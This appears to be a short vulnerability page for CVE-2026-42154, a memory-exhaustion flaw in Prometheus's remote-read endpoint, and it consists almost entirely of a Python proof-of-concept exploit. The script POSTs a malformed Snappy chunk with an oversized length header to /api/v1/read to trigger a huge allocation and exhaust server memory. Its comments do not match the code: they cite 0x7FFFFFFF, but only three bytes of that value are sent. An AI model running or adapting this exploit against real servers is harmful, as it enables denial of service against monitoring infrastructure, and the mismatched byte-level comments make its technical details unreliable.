CVE-2026-42154 Prometheus远程读取端点内存耗尽漏洞

import requests import struct target = "http://localhost:9090/api/v1/read" # Construct a malicious Snappy stream chunk # Snappy chunk format: [Tag(1 byte)] [Length(3 bytes)] [Data] # Tag 0x01 represents a literal chunk. # We set a huge length to trigger the allocation. huge_length = 0x7FFFFFFF # Max 32-bit signed int # Pack length as 3 bytes little-endian length_bytes = struct.pack('<I', huge_length)[:3] # Payload: Stream identifier + Malformed Chunk # 0xff is stream identifier, followed by 'sNaPpY' payload = b'\xff\x06\x00\x00sNaPpY' # Add a chunk claiming huge size but minimal actual data payload += b'\x01' + length_bytes + b'A' headers = { "Content-Encoding": "snappy", "Content-Type": "application/x-protobuf" } try: r = requests.post(target, data=payload, headers=headers) print(f"Status: {r.status_code}") except Exception as e: print(f"Exploitation attempt failed: {e}")